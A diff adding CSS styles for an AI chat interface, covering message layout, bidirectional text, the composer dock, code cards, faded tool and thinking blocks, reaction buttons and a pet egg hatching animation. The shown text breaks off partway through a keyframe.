+
+/* Headings are section breaks, so they own a larger top gap than prose — a
+   leading `# title` (common in re-entered/delegated turns) no longer butts
+   against the block above. Top-owned + bottom snug; the first-child reset
+   below still flushes a leading heading. */
+[data-slot='aui_assistant-message-content'] .aui-md :where(h1, h2, h3, h4) {
+  margin-block: 1rem 0.25rem;
+}
+
+/* First rendered element of a prose block is flush — the block-level gap above
+   (tool / paragraph) already provides the separation. Reach one level deep too:
+   Streamdown wraps blocks in a `div.space-y-*`, so the real first line is the
+   first child's first child. */
+[data-slot='aui_assistant-message-content'] .aui-md > :first-child,
+[data-slot='aui_assistant-message-content'] .aui-md > :first-child > :first-child {
+  margin-top: 0;
+}
+
+/* Prose, tools, todos, and thinking all share one left edge (the message
+   content's --message-text-indent). No extra prose indent — a single gutter
+   reads cleaner than a ragged tool-vs-reply column. */
+
+/* RTL/bidi chat text (#44150): each block resolves its own base direction from
+   its first strong char (UAX#9 plaintext). text-align:start makes that resolved
+   direction drive alignment too — load-bearing, since the user bubble pins
+   text-left. direction is never set, so chrome/layout/list-indent stay LTR (the
+   issue asks not to flip the whole UI). Covers assistant prose, user lines, and
+   both composers (main + edit share composer-rich-input). */
+[data-slot='aui_assistant-message-content'] .aui-md :where(p, h1, h2, h3, h4, h5, h6, li, blockquote),
+[data-slot='aui_user-inline-text'],
+[data-slot='composer-rich-input'] {
+  unicode-bidi: plaintext;
+  text-align: start;
+}
+
+/* Inline code/KaTeX don't vote on direction and keep their own order: isolate
+   makes bidi treat each as one neutral, so a block that *starts* with `./run.sh`
+   then Arabic still resolves RTL, and the command's neutrals (dots/slashes)
+   aren't reordered by the surrounding RTL run. */
+[data-slot='aui_assistant-message-content'] .aui-md :where(:not(pre) > code),
+[data-slot='aui_user-inline-code'],
+[data-slot='aui_assistant-message-content'] .aui-md .katex {
+  direction: ltr;
+  unicode-bidi: isolate;
+}
+
+/* Fenced code stays LTR even inside an RTL list item/blockquote — never mirrors. */
+[data-slot='aui_assistant-message-content'] .aui-md [data-slot='code-card'],
+[data-slot='aui_user-fence'] {
+  direction: ltr;
+  text-align: left;
+}
+
+[data-slot='aui_user-message-root'] {
+  top: var(--sticky-human-top);
+}
+
+[data-slot='aui_user-message-root'],
+[data-slot='aui_edit-composer-root'] {
+  --human-msg-line-height: 1.3;
+  font-size: var(--conversation-text-font-size);
+}
+
+[data-slot='aui_user-inline-text'] {
+  line-height: var(--human-msg-line-height);
+}
+
+[data-slot='aui_edit-composer-root'] [data-slot='composer-rich-input'] {
+  line-height: var(--human-msg-line-height);
+}
+
+/* Sticky human bubbles clamp to ~2 lines with a soft bottom fade so a long
+   prompt doesn't dominate the viewport. The clamp lifts only in the edit
+   composer; expanding on read-only :focus-within ran on mousedown (before the
+   swap) and fought stick-to-bottom when parked at the bottom. */
+.sticky-human-clamp {
+  cursor: pointer;
+  max-height: calc(4 * var(--human-msg-line-height) * var(--conversation-text-font-size) + 0.15rem);
+  overflow: hidden;
+}
+
+.sticky-human-clamp[data-clamped='true'] {
+  -webkit-mask-image: linear-gradient(to bottom, #000 55%, transparent);
+  mask-image: linear-gradient(to bottom, #000 55%, transparent);
+}
+
+/* Stick-to-bottom owns scrollTop while following. Once escaped, native anchoring
+   is safe and keeps sticky human edits from shoving the viewport; data-editing
+   enables that path before React swaps in the inline editor. */
+[data-slot='aui_thread-viewport'] {
+  overflow-anchor: none;
+}
+
+[data-slot='aui_thread-viewport'][data-following='false'],
+[data-slot='aui_thread-viewport'][data-editing='true'] {
+  overflow-anchor: auto;
+}
+
+[data-slot='aui_thread-content'] {
+  max-width: var(--composer-width);
+  padding-inline: 1.5rem;
+}
+
+[data-slot='aui_intro'] {
+  align-items: center;
+  justify-content: center;
+  padding-bottom: var(--composer-measured-height);
+  text-align: center;
+}
+
+[data-slot='aui_intro'] > div {
+  max-width: min(var(--composer-width), 82vw);
+}
+
+[data-slot='aui_intro'] p:last-child {
+  max-width: 34rem;
+  margin-inline: auto;
+  color: var(--ui-text-tertiary);
+  font-size: 0.875rem;
+  line-height: 1.45;
+}
+
+.fit-text {
+  --fit-captured-length: initial;
+  --fit-support-sentinel: var(--fit-captured-length, 9999px);
+
+  display: flex;
+  container-type: inline-size;
+}
+
+.fit-text > [aria-hidden] {
+  visibility: hidden;
+}
+
+.fit-text > :not([aria-hidden]) {
+  flex-grow: 1;
+  container-type: inline-size;
+
+  --fit-captured-length: 100cqi;
+  --fit-available-space: var(--fit-captured-length);
+}
+
+.fit-text > :not([aria-hidden]) > * {
+  --fit-support-sentinel: inherit;
+  --fit-captured-length: 100cqi;
+  --fit-ratio: tan(atan2(var(--fit-available-space), var(--fit-available-space) - var(--fit-captured-length)));
+
+  display: block;
+  inline-size: var(--fit-available-space);
+  font-size: clamp(
+    var(--fit-min, 1em),
+    1em * var(--fit-ratio),
+    var(--fit-max, infinity * 1px) - var(--fit-support-sentinel)
+  );
+}
+
+@container (inline-size > 0) {
+  .fit-text > :not([aria-hidden]) > * {
+    white-space: nowrap;
+  }
+}
+
+@property --fit-captured-length {
+  syntax: '<length>';
+  initial-value: 0px;
+  inherits: true;
+}
+
+/* The dock column owns the composer's width; the composer keeps the 5px
+   transparent grab margin that the peel-out drag needs. +10px width compensates
+   that padding so the visible surface keeps its exact width/position. */
+[data-slot='composer-dock'] {
+  width: calc(min(var(--composer-width), calc(100% - 2rem)) + 10px);
+  padding-bottom: var(--composer-shell-pad-block-end);
+}
+
+[data-slot='composer-root'] {
+  width: 100%;
+  padding-inline: 5px;
+}
+
+/* Popped-out (floating) composer: compact width + an even 5px transparent grab
+   platform. The higher-specificity selector resets the base rule's padding-bottom
+   so the inset is equal on all four sides (not 5px sides / shell-pad bottom). */
+[data-slot='composer-dock'][data-popped-out] {
+  width: var(--composer-popout-width, 24rem);
+  max-width: calc(100vw - 1.5rem);
+  padding-bottom: 0;
+}
+
+[data-slot='composer-root'][data-popped-out] {
+  padding: 5px;
+}
+
+/* Dock glow intensity scale — dimmer in light mode (the primary glow reads
+   much stronger over a light backdrop), full strength in dark mode. */
+:root {
+  --dock-glow-scale: 0.55;
+}
+
+.dark {
+  --dock-glow-scale: 1;
+}
+
+/* Drag-region hatch — a diagonal ///// pattern (Photoshop-style) that fades into
+   the transparent grab margin on hover (and stays while dragging) to signal the
+   composer is draggable. Inherits the root radius so it clips to the corners. */
+[data-slot='composer-drag-region'] {
+  /* Hatch frame radius (tuned by hand). */
+  border-radius: 0.4rem;
+  opacity: 0;
+  transition: opacity 150ms ease;
+  background-image: repeating-linear-gradient(
+    -45deg,
+    color-mix(in srgb, var(--ui-text-tertiary) 38%, transparent) 0,
+    color-mix(in srgb, var(--ui-text-tertiary) 38%, transparent) 1px,
+    transparent 1px,
+    transparent 3.5px
+  );
+}
+
+[data-slot='composer-drag-region']:hover,
+[data-slot='composer-drag-region'][data-dragging] {
+  opacity: 0.33;
+}
+
+[data-slot='composer-root'] > .pointer-events-none {
+  background: linear-gradient(
+    to bottom,
+    transparent,
+    color-mix(in srgb, var(--ui-chat-surface-background) 88%, transparent)
+  ) !important;
+}
+
+[data-slot='composer-surface'] {
+  border-color: var(--ui-stroke-secondary) !important;
+}
+
+[data-slot='composer-fade'] {
+  min-height: 2.375rem;
+}
+
+[data-slot='composer-rich-input'] {
+  color: var(--ui-text-primary);
+  font-size: 0.8125rem;
+}
+
+[data-slot='composer-rich-input']:is(:empty, [data-empty])::before {
+  color: var(--ui-text-tertiary) !important;
+}
+
+/* ── Composer fill — ONE var painted by the surface AND anything docked to it
+   (slash·@ popover, `?` help). State ladder sets the var; consumers just paint
+   `background: var(--composer-fill)`, so every state matches by construction.
+   The :has() rule is last on purpose: while a completion drawer is open it
+   beats focus/scroll and forces an OPAQUE fill (both mix endpoints solid) —
+   translucent glass can never match across the two layers because they sample
+   different backdrops. */
+:root {
+  /* Fallback for drawers outside the main composer (e.g. edit-message). */
+  --composer-fill: color-mix(in srgb, var(--dt-card) 90%, var(--dt-background));
+}
+
+[data-slot='composer-root'] {
+  --composer-fill: color-mix(in srgb, var(--dt-card) 72%, transparent);
+}
+
+[data-slot='composer-root'][data-thread-scrolled-up] {
+  --composer-fill: color-mix(in srgb, var(--dt-card) 48%, transparent);
+}
+
+/* Tool/thinking blocks now live at message-text alignment (no leading
+   chevron column to escape into), so their headers and bodies share a
+   common left edge with the model's text. */
+[data-slot='aui_assistant-message-content'] > [data-slot='tool-block'],
+[data-slot='aui_assistant-message-content'] > [data-slot='aui_thinking-disclosure'] {
+  width: 100%;
+  max-width: 100%;
+}
+
+/* A delegation is a list of short rows — goal, model, timer — not prose, so it
+   reads better narrow than stretched across the full reading column. Scoped
+   here rather than as a utility on the element: the rule above sets width on
+   every tool block and would win over it. */
+[data-slot='aui_assistant-message-content'] [data-slot='tool-block'][data-delegate-card] {
+  max-width: 75%;
+}
+
+[data-slot='aui_assistant-message-content'] .aui-md [data-streamdown='code-block'] code {
+  max-width: none;
+  font-family: inherit;
+  font-size: inherit;
+  padding: 0;
+  border-radius: 0;
+  background: transparent;
+  color: inherit;
+  overflow-x: visible;
+  overflow-wrap: inherit;
+  vertical-align: baseline;
+  word-break: inherit;
+  white-space: inherit;
+}
+
+/* Streamdown's adapter wraps code fences in a `data-streamdown="code-block"`
+   container with its own card chrome. We render our own <CodeCard>, so this
+   strips the upstream chrome down to a layout-only passthrough. */
+[data-slot='aui_assistant-message-content'] .aui-md [data-streamdown='code-block'] {
+  contain: none;
+  overflow: visible;
+  margin-block: var(--paragraph-gap) 0 !important;
+  padding: 0 !important;
+  gap: 0 !important;
+  border: 0 !important;
+  border-radius: 0 !important;
+  background: transparent !important;
+  color: inherit;
+}
+
+[data-slot='aui_assistant-message-content'] .aui-md [data-streamdown='code-block']:has(.aui-prose-fence) {
+  margin-block: 0 !important;
+}
+
+[data-slot='aui_assistant-message-content'] .aui-md [data-slot='code-card'] {
+  /* Streamdown nests blocks, so the container's child-combinator rhythm can't
+     reach the card. Carry the paragraph gap on the card itself (top-owned);
+     collapses cleanly with the wrapper's margin when one is present, and the
+     first-child reset still flushes a leading code block. */
+  margin-block: var(--paragraph-gap) 0;
+  position: relative;
+  transition:
+    box-shadow 180ms ease-out,
+    background-color 180ms ease-out;
+}
+
+[data-slot='aui_assistant-message-content'] .aui-md [data-slot='code-card'][data-streaming='true'] {
+  animation:
+    code-card-stream-enter 180ms cubic-bezier(0.16, 1, 0.3, 1) both,
+    code-card-stream-glow 1.8s ease-in-out 180ms infinite alternate;
+  box-shadow:
+    0 0 0 0.0625rem color-mix(in srgb, var(--dt-ring) 10%, transparent),
+    0 0.625rem 1.75rem color-mix(in srgb, var(--dt-ring) 8%, transparent);
+}
+
+[data-slot='aui_assistant-message-content']
+  .aui-md
+  [data-slot='code-card'][data-streaming='true']
+  [data-slot='code-card-body'] {
+  -webkit-mask-image: linear-gradient(to bottom, black 0%, black calc(100% - 1.5rem), rgb(0 0 0 / 64%) 100%);
+  mask-image: linear-gradient(to bottom, black 0%, black calc(100% - 1.5rem), rgb(0 0 0 / 64%) 100%);
+}
+
+[data-slot='aui_assistant-message-content'] .aui-md :not(pre) > code {
+  background: var(--ui-inline-code-background);
+  color: var(--ui-inline-code-foreground);
+}
+
+[data-slot='aui_assistant-message-content'] .aui-md :where(.aui-shiki, .aui-shiki > pre) {
+  margin: 0 !important;
+}
+
+/* react-shiki nests its own `pre.shiki` inside our `.aui-shiki` Pre, so the
+   code card's `[&_pre]` padding lands on both and doubles the inset. The outer
+   Pre already carries the card's padding — zero the inner one. */
+[data-slot='aui_assistant-message-content'] .aui-md .aui-shiki .shiki {
+  padding: 0 !important;
+}
+
+[data-slot='aui_assistant-message-content'] .aui-md .aui-md-table {
+  border-spacing: 0;
+}
+
+[data-slot='aui_assistant-message-content'] .aui-md .aui-md-table > table,
+[data-slot='aui_assistant-message-content'] .aui-md .aui-md-table thead,
+[data-slot='aui_assistant-message-content'] .aui-md .aui-md-table tbody,
+[data-slot='aui_assistant-message-content'] .aui-md .aui-md-table tr,
+[data-slot='aui_assistant-message-content'] .aui-md .aui-md-table th,
+[data-slot='aui_assistant-message-content'] .aui-md .aui-md-table td {
+  margin: 0 !important;
+  margin-block-start: 0 !important;
+  margin-block-end: 0 !important;
+}
+
+[data-slot='aui_assistant-message-content'] .aui-md .aui-md-table thead {
+  border-bottom-color: var(--ui-stroke-tertiary) !important;
+}
+
+/* Tool / thinking blocks are scaffolding around the model's reply, so we
+   keep them transparent and fade them slightly. The reading column (prose)
+   stays at full strength; scaffolding lifts back to full opacity on
+   hover/focus so it stays legible when the user actually wants to read it. */
+[data-slot='tool-block'],
+[data-slot='aui_thinking-disclosure'] {
+  background: transparent !important;
+}
+
+/* Fade scaffolding so the prose reading column stays primary. Each surface
+   opts in with `data-conversation-scaffold` — thinking header, tool row, run
+   summary, live status line — instead of being named by its own selector here.
+   Spelling them out individually is how the status line came to sit a shade
+   brighter than the rows either side of it.
+
+   Marked per surface and never on a container: opacity opens a stacking
+   context, so nothing inside a faded parent can be more opaque than it, and
+   one row (an open diff) could not stay lit while its siblings dimmed. Hence
+   the tool group wrapper carries no mark and each row inside it carries its
+   own — no two marked elements nest, so the fade never compounds. */
+[data-slot='aui_assistant-message-content'] [data-conversation-scaffold] {
+  opacity: 0.67;
+  transition: opacity 120ms ease-out;
+}
+
+/* Lift on hover or *keyboard* focus only. `:focus-within` also matches the
+   focus a mouse click leaves on the disclosure toggle, which kept a row lit
+   after you clicked to collapse it; `:has(:focus-visible)` excludes that. */
+[data-slot='aui_assistant-message-content'] [data-conversation-scaffold]:is(:hover, :has(:focus-visible)) {
+  opacity: 1;
+}
+
+/* Shiki surfaces in the inline file diff + source preview: strip the theme's
+   own background/margins, and lay each `.line` on its own grid row so the
+   inter-line `\n` text nodes can't double-space full-width rows. Empty lines
+   carry a non-breaking space so blank rows keep their height. */
+[data-slot='file-diff-panel'] .shiki,
+[data-slot='file-diff-panel'] .shiki code,
+.preview-source-code .shiki,
+.preview-source-code .shiki code {
+  margin: 0;
+  background: transparent !important;
+}
+
+[data-slot='file-diff-panel'] .shiki code,
+.preview-source-code .shiki code {
+  display: grid;
+}
+
+[data-slot='file-diff-panel'] .shiki code .line:empty::before,
+.preview-source-code .shiki code .line:empty::before {
+  content: '\00a0';
+}
+
+/* Inline diff rows keep their utility-class padding; just floor the height. */
+[data-slot='file-diff-panel'] .shiki code .line {
+  min-height: 1.25rem;
+  white-space: pre;
+}
+
+/* Source rows are a fixed editor-height box so source⇄diff toggling never
+   shifts and the gutter stays aligned. */
+.preview-source-code .shiki code {
+  min-width: max-content;
+}
+
+.preview-source-code .shiki code .line {
+  display: block;
+  height: 1.25rem;
+  padding: 0 0.625rem;
+  line-height: 1.25rem;
+  white-space: pre;
+}
+
+/* The github-dark token palette reads candy-bright at our small code size.
+   `github-dark-dimmed` only dims the *background* (which we strip), so soften
+   the token *foregrounds* directly — a small saturation + brightness pullback,
+   hues preserved — for both code blocks and inline diffs. Dark mode only. */
+.dark .shiki {
+  filter: saturate(0.82) brightness(0.92);
+}
+
+/* File edits (write_file / edit_file / patch) are the deliverable, not
+   scaffolding — the diff is what the user reviews, like a PR. An *expanded*
+   edit stays at full strength; collapsed it fades like any other row. The
+   `data-file-edit` marker sits on the same row element and is only present
+   while the row is open. */
+[data-slot='aui_assistant-message-content'] [data-slot='tool-block'][data-tool-row][data-file-edit] {
+  opacity: 1;
+}
+
+/* Conversation block rhythm. assistant-ui renders each range as a direct child
+   of the message content with no per-part wrapper, so adjacency rules cover
+   every pairing — first block needs no reset, nested tool rows are untouched.
+
+   One gap between top-level blocks, whatever they are. Spelling out which
+   *pairs* qualified meant the live status line (not tool, thinking or prose)
+   fell through every branch and carried its own half-size margin instead. */
+[data-slot='aui_assistant-message-content']
+  > :is([data-slot='tool-block'], [data-slot='aui_thinking-disclosure'], [data-slot='aui_stream-stall'], .aui-md)
+  + :is([data-slot='tool-block'], [data-slot='aui_thinking-disclosure'], [data-slot='aui_stream-stall'], .aui-md) {
+  margin-top: var(--turn-block-gap);
+}
+
+/* Except prose ↔ prose: one reading column that happens to arrive as several
+   parts, so it keeps the in-block paragraph rhythm. Same specificity as the
+   rule above and deliberately after it. */
+[data-slot='aui_assistant-message-content'] > .aui-md + .aui-md {
+  margin-top: var(--paragraph-gap);
+}
+
+/* And except scaffolding ↔ scaffolding: the full gap is the space between the
+   reply and the work around it, so a back-to-back run of thinking headers,
+   tool rows and status lines spent it between every line and read as stacked
+   cards. Same list as the rule above minus prose — `data-conversation-scaffold`
+   is the wrong hook here: it's absent on a multi-call tool GROUP, which is most
+   of a real run, and present on rows nested inside one. */
+[data-slot='aui_assistant-message-content']
+  > :is([data-slot='tool-block'], [data-slot='aui_thinking-disclosure'], [data-slot='aui_stream-stall'])
+  + :is([data-slot='tool-block'], [data-slot='aui_thinking-disclosure'], [data-slot='aui_stream-stall']) {
+  margin-top: var(--scaffold-block-gap);
+}
+
+/* Except a file edit, which is the deliverable rather than another line in the
+   run — a diff you read like a PR, so it keeps the full block gap on both
+   sides while the scaffolding around it stays tight. `data-file-edit` is only
+   on the row while it's open, so a collapsed edit rejoins the run. Margins on
+   the block itself, not adjacency pairs: it needs the clearance whatever sits
+   next to it, and adjacent margins collapse rather than stacking. */
+[data-slot='aui_assistant-message-content'] > [data-tool-row][data-file-edit] {
+  margin-block: var(--turn-block-gap);
+}
+
+/* Thinking headers carry a faint resting caret. A run of them is the one place
+   the affordance isn't otherwise discoverable — every other disclosure sits in
+   a row you're already reaching for. The scaffold fade multiplies this, so the
+   painted value lands well under the number here. */
+[data-slot='aui_thinking-disclosure'] {
+  --disclosure-caret-rest: 0.4;
+}
+
+/* A streaming turn is sealed into several assistant bubbles as it goes
+   (`message.interim`) and rehydrates into fewer, so the same two blocks are
+   sometimes siblings inside one bubble and sometimes split across two. The
+   flex gap between bubbles is the turn gap — half the block gap — which made
+   the rhythm visibly tighten and then relax as a turn settled. Top it up so
+   the column ticks at one interval either way. */
+[data-slot='aui_turn-pair'] > [data-slot='aui_assistant-message-root'] + [data-slot='aui_assistant-message-root'] {
+  margin-top: calc(var(--turn-block-gap) - var(--conversation-turn-gap));
+}
+
+/* Unless the blocks either side of that seal are both scaffolding, in which
+   case the scaffold gap is the target and the flex gap already overshoots it.
+   Topping up to the full block gap here is what made a live run relax between
+   rows and then tighten once it rehydrated into one bubble. A bubble carrying
+   an open diff is excluded — it keeps the full gap, same as in-flow. */
+[data-slot='aui_turn-pair']
+  > [data-slot='aui_assistant-message-root']:has(
+    > [data-slot='aui_assistant-message-content']
+      > :is([data-slot='tool-block'], [data-slot='aui_thinking-disclosure'], [data-slot='aui_stream-stall']):last-child
+  ):not(:has([data-file-edit]))
+  + [data-slot='aui_assistant-message-root']:has(
+    > [data-slot='aui_assistant-message-content']
+      > :is([data-slot='tool-block'], [data-slot='aui_thinking-disclosure'], [data-slot='aui_stream-stall']):first-child
+  ):not(:has([data-file-edit])) {
+  margin-top: calc(var(--scaffold-block-gap) - var(--conversation-turn-gap));
+}
+
+/* Message action bars — flat icon hits with default dim; only the hovered/focused control is full-strength.
+   The reaction slot lives OUTSIDE the bar (a landed emoji must not ride the
+   bar's hover fade) but is still one of these controls visually. */
+[data-slot='aui_msg-actions'] button,
+button[data-slot='aui_msg-reactions'] {
+  border: 0;
+  border-radius: 0;
+  background: transparent;
+  box-shadow: none;
+  padding: 0;
+  gap: 0;
+  height: auto;
+  width: auto;
+  min-height: 0;
+  min-width: 0;
+  flex-shrink: 0;
+  cursor: pointer;
+  color: var(--color-muted-foreground);
+  opacity: 0.5;
+}
+
+/* A landed reaction is content, not a dimmed affordance — emoji render at
+   full strength everywhere, always (color dim would gray them anyway; they're
+   glyphs, not icons). */
+button[data-slot='aui_msg-reactions'][data-reacted] {
+  opacity: 1;
+  color: inherit;
+}
+
+/* The EMPTY slot is an affordance and follows its action-bar neighbors
+   exactly: hidden until the message is hovered, then the same 0.5 dim, full
+   strength under the pointer. Stylesheet-owned because the base rule above
+   outweighs Tailwind's opacity utilities (0,1,1 vs 0,1,0). */
+button[data-slot='aui_msg-reactions']:not([data-reacted]) {
+  opacity: 0;
+  pointer-events: none;
+}
+
+.group:hover button[data-slot='aui_msg-reactions']:not([data-reacted]),
+button[data-slot='aui_msg-reactions']:not([data-reacted]):focus-visible,
+button[data-slot='aui_msg-reactions']:not([data-reacted])[data-state='open'] {
+  opacity: 0.5;
+  pointer-events: auto;
+}
+
+.group:hover button[data-slot='aui_msg-reactions']:not([data-reacted]):hover,
+button[data-slot='aui_msg-reactions']:not([data-reacted])[data-state='open'] {
+  opacity: 1;
+}
+
+/* Emoji in ANY reaction surface (badge under a user bubble, footer slot,
+   picker rows) never inherit a translucent treatment from their container. */
+[data-slot='aui_msg-reactions'] .reaction-pop,
+span[data-slot='aui_msg-reactions'] {
+  opacity: 1;
+}
+
+[data-slot='aui_msg-actions'] button:disabled {
+  cursor: default;
+}
+
+[data-slot='aui_msg-actions'] button:hover,
+button[data-slot='aui_msg-reactions']:hover {
+  background: transparent;
+  color: var(--color-foreground);
+  opacity: 1;
+}
+
+[data-slot='aui_msg-actions'] button:active,
+button[data-slot='aui_msg-reactions']:active {
+  background: transparent;
+}
+
+[data-slot='aui_msg-actions'] button:focus-visible,
+button[data-slot='aui_msg-reactions']:focus-visible {
+  opacity: 1;
+}
+
+[data-slot='aui_msg-actions'] button svg,
+button[data-slot='aui_msg-reactions'] svg {
+  width: 0.875rem;
+  height: 0.875rem;
+}
+
+/* Re-declare the clearance calc on every chat surface. `:root` computes it
+   once against the ROOT measurement, so scoping only the input would leave
+   every thread reading the same substituted value. Redeclaring here makes each
+   surface resolve the calc against its own dock height, falling back to the
+   root default until this surface publishes its first measurement. See
+   surface-vars.ts. */
+[data-chat-surface] {
+  --thread-last-message-clearance: calc(var(--composer-measured-height) + 2rem);
+}
+
+/* A live tool run, shown as one line. `ToolRunTicker` stacks the run's rows
+   into a reel and offsets it by the newest row's index, so each new action
+   slides the one before it up and out of a single-line window — the run reads
+   as one line ticking over in place rather than a list growing down the page.
+   Rows are clipped to a uniform line box so the offset stays exact whatever a
+   row contains. */
+.tool-ticker {
+  height: var(--conversation-line-height);
+  overflow: hidden;
+}
+
+.tool-ticker__reel {
+  transform: translateY(calc(var(--tool-ticker-index, 0) * var(--conversation-line-height) * -1));
+  transition: transform 240ms cubic-bezier(0.22, 1, 0.36, 1);
+}
+
+.tool-ticker__row {
+  display: flex;
+  height: var(--conversation-line-height);
+  align-items: center;
+  overflow: hidden;
+}
+
+@media (prefers-reduced-motion: reduce) {
+  .tool-ticker__reel {
+    transition: none;
+  }
+}
+
+@keyframes code-card-stream-enter {
+  from {
+    opacity: 0.74;
+    transform: translateY(0.375rem);
+  }
+
+  to {
+    opacity: 1;
+    transform: translateY(0);
+  }
+}
+
+/* Floating "jump to bottom" control (see scroll-to-bottom-button.tsx).
+   Directional scale: it contracts toward 1 as it arrives (from 1.1) and keeps
+   contracting to 0.9 as it leaves — always shrinking in the direction of
+   travel, so the motion reads as a soft settle / recede rather than a pop. The
+   X half-offset stays baked into every transform so `left-1/2` centering holds
+   through the animation. */
+.thread-jump-button {
+  opacity: 0;
+  transform: translateX(-50%) translateY(0.3rem) scale(0.9);
+}
+
+.thread-jump-button[data-state='in'] {
+  animation: thread-jump-in 200ms cubic-bezier(0.22, 1, 0.36, 1) forwards;
+}
+
+.thread-jump-button[data-state='out'] {
+  animation: thread-jump-out 180ms ease-in forwards;
+}
+
+@keyframes thread-jump-in {
+  from {
+    opacity: 0;
+    transform: translateX(-50%) translateY(0.3rem) scale(1.1);
+  }
+
+  to {
+    opacity: 1;
+    transform: translateX(-50%) translateY(0) scale(1);
+  }
+}
+
+@keyframes thread-jump-out {
+  from {
+    opacity: 1;
+    transform: translateX(-50%) translateY(0) scale(1);
+  }
+
+  to {
+    opacity: 0;
+    transform: translateX(-50%) translateY(0.3rem) scale(0.9);
+  }
+}
+
+@media (prefers-reduced-motion: reduce) {
+  .thread-jump-button[data-state='in'],
+  .thread-jump-button[data-state='out'] {
+    animation: none;
+    transition: opacity 120ms linear;
+  }
+
+  .thread-jump-button[data-state='in'] {
+    opacity: 1;
+    transform: translateX(-50%) translateY(0) scale(1);
+  }
+}
+
+@keyframes code-card-stream-glow {
+  from {
+    box-shadow:
+      0 0 0 0.0625rem color-mix(in srgb, var(--dt-ring) 6%, transparent),
+      0 0.5rem 1.5rem color-mix(in srgb, var(--dt-ring) 5%, transparent);
+  }
+
+  to {
+    box-shadow:
+      0 0 0 0.0625rem color-mix(in srgb, var(--dt-ring) 12%, transparent),
+      0 0.75rem 2rem color-mix(in srgb, var(--dt-ring) 10%, transparent);
+  }
+}
+
+@media (prefers-reduced-motion: reduce) {
+  [data-slot='aui_assistant-message-content'] .aui-md [data-slot='code-card'][data-streaming='true'] {
+    animation: none;
+  }
+}
+
+/* -------------------------------------------------------------------------- */
+/* Pet egg hatch (Cmd-K → Pets → Generate)                                    */
+/* The incubation wobble + reveal flash/pop give the draft→pet step a         */
+/* Pokémon-style "egg is hatching" beat instead of a bare spinner.            */
+/* -------------------------------------------------------------------------- */
+
+.pet-egg {
+  position: relative;
+  width: 5.5rem;
+  height: 7rem;
+  border-radius: 50% 50% 50% 50% / 62% 62% 38% 38%;
+  background: radial-gradient(
+    120% 90% at 32% 26%,
+    color-mix(in srgb, var(--ui-accent) 14%, #fff) 0%,
+    #f4ecd8 46%,
+    #e4d3ad 100%
+  );
+  box-shadow:
+    inset -0.45rem -0.6rem 1.1rem color-mix(in srgb, #000 16%, transparent),
+    inset 0.35rem 0.4rem 0.7rem color-mix(in srgb, #fff 70%, transparent),
+    0 0.4rem 0.9rem color-mix(in srgb, #000 22%, transparent);
+  transform-origin: 50% 88%;
+  animation: pet-egg-wobble 2.4s ease-in-out infinite;
+}
+
+/* Compact egg (empty-state hero). Children are %-based so they track the size;
+   only the rem box-shadow needs scaling down to stay crisp. */
+.pet-egg--sm {
+  width: 3.25rem;
+  height: 4.1rem;
+  box-shadow:
+    inset -0.28rem -0.38rem 0.7rem color-mix(in srgb, #000 16%, transparent),
+    inset 0.22rem 0.26rem 0.45rem color-mix(in srgb, #fff 70%, transparent),
+    0 0.25rem 0.55rem color-mix(in srgb, #000 22%, transparent);
+}
+
+.pet-egg__shine {
+  position: absolute;
+  top: 14%;
+  left: 22%;
+  width: 28%;
+  height: 22%;
+  border-radius: 50%;
+  background: color-mix(in srgb, #fff 85%, transparent);
+  filter: blur(2px);
+  opacity: 0.85;
+}
+
+.pet-egg__spot {
+  position: absolute;
+  border-radius: 50%;
+  background: color-mix(in srgb, var(--ui-accent) 70%, #b89b63);
+  opacity: 0.55;
+}
+
+.pet-egg__glow {
+  position: absolute;
+  inset: -35%;
+  border-radius: 50%;
+  background: radial-gradient(circle, color-mix(in srgb, var(--ui-accent) 55%, transparent) 0%, transparent 62%);
+  animation: pet-egg-glow 2.4s ease-in-out infinite;
+  pointer-events: none;
+}
+
+.pet-egg-shadow {
+  width: 4.5rem;
+  height: 0.8rem;
+  border-radius: 50%;
+  /* Lighter on light backgrounds (~20% less ink); dark mode keeps it grounded. */
+  background: radial-gradient(
+    circle,
+    color-mix(in srgb, #000 var(--pet-egg-shadow-ink, 26%), transparent) 0%,
+    transparent 72%
+  );
+  animation: pet-egg-shadow 2.4s ease-in-out infinite;
+}
+
+.dark .pet-egg-shadow {
+  --pet-egg-shadow-ink: 32%;
+}
+
+/* Contact shadow sized for the compact incubator egg (roughly its footprint). */
+.pet-egg-shadow--sm {
+  width: 3rem;
+  height: 0.6rem;
+}
+
+/* Contact shadow under the revealed pet — mirrors the floating mascot's in-app
+   shadow: an ellipse at the feet, ~55% of the sprite width, sitting behind it. */
+.pet-contact-shadow {
+  position: absolute;
+  bottom: -0.15rem;
+  left: 50%;
+  width: 55%;
+  aspect-ratio: 100 / 28;
+  transform: translateX(-50%);
+  background: radial-gradient(ellipse at center, color-mix(in srgb, #000 42%, transparent) 0%, transparent 70%);
+  pointer-events: none;
+  z-index: 0;
+}
+
+/* Hatch wiggle for the pixel egg (rocks around its base). */
+.pet-wobble {
+  transform-origin: 50% 85%;
+  animation: pet-egg-wobble 2.4s ease-in-out infinite;
+}
+
+@media (prefers-reduced-motion: reduce) {
+  .pet-wobble {
+    animation: none;
+  }
+}
+
+@keyframes pet-egg-wobble {
+  0%,
+  62%,
+  100% {
+    transform: rotate(0deg);
+  }
+  8% {
+    transform: rotate(-7deg);
+  }
+  16% {
+    transform: rotate(6deg);
+  }
+  24% {
+    transform: rotate(-5deg);
+  }
+  32% {
+    transform: rotate(4deg);
+  }
+  40% {
+    transform: rotate(0deg);
+  }
+  /* the "almost out" burst */
+  70% {
+    transform: rotate(-12deg);
+  }
+  76% {
+    transform: rotate(12deg);
+  }
+  82% {
+    transform: rotate(-9deg);
+  }
+  88% {
+    transform: rotate(7deg);
+  }
+  94% {
+    transform: rotate(-3deg);
+  }
+}
+
+@keyframes pet-egg-glow {
+  0%,
+  100% {
+    opacity: 0.35;
+    transform: scale(0.92);
+  }
+  70% {
+    opacity: 0.4;
+  }
+  84% {
+    opacity: 0.85;
+    transform: scale(1.08);
+  }
+}
+
+@keyframes pet-egg-shadow {
+  0%,
+  62%,
+  100% {
+    transform: scaleX(1);
+    opacity: 0.6;
+  }
+  76% {
+    transform: scaleX(0.8);
+    opacity: 0.45;
+  }
+}
+
+.pet-reveal {
+  animation: pet-reveal-pop 620ms cubic-bezier(0.22, 1.4, 0.4, 1) both;
+}
+
+@keyframes pet-reveal-pop {
+  0% {
+    opacity: 0;
+    transform: scale(0.35) translateY(0.4rem);
+  }
+  60% {
+    opacity: 1;
+    transform: scale(1.12) translateY(0);
+  }
+  100% {
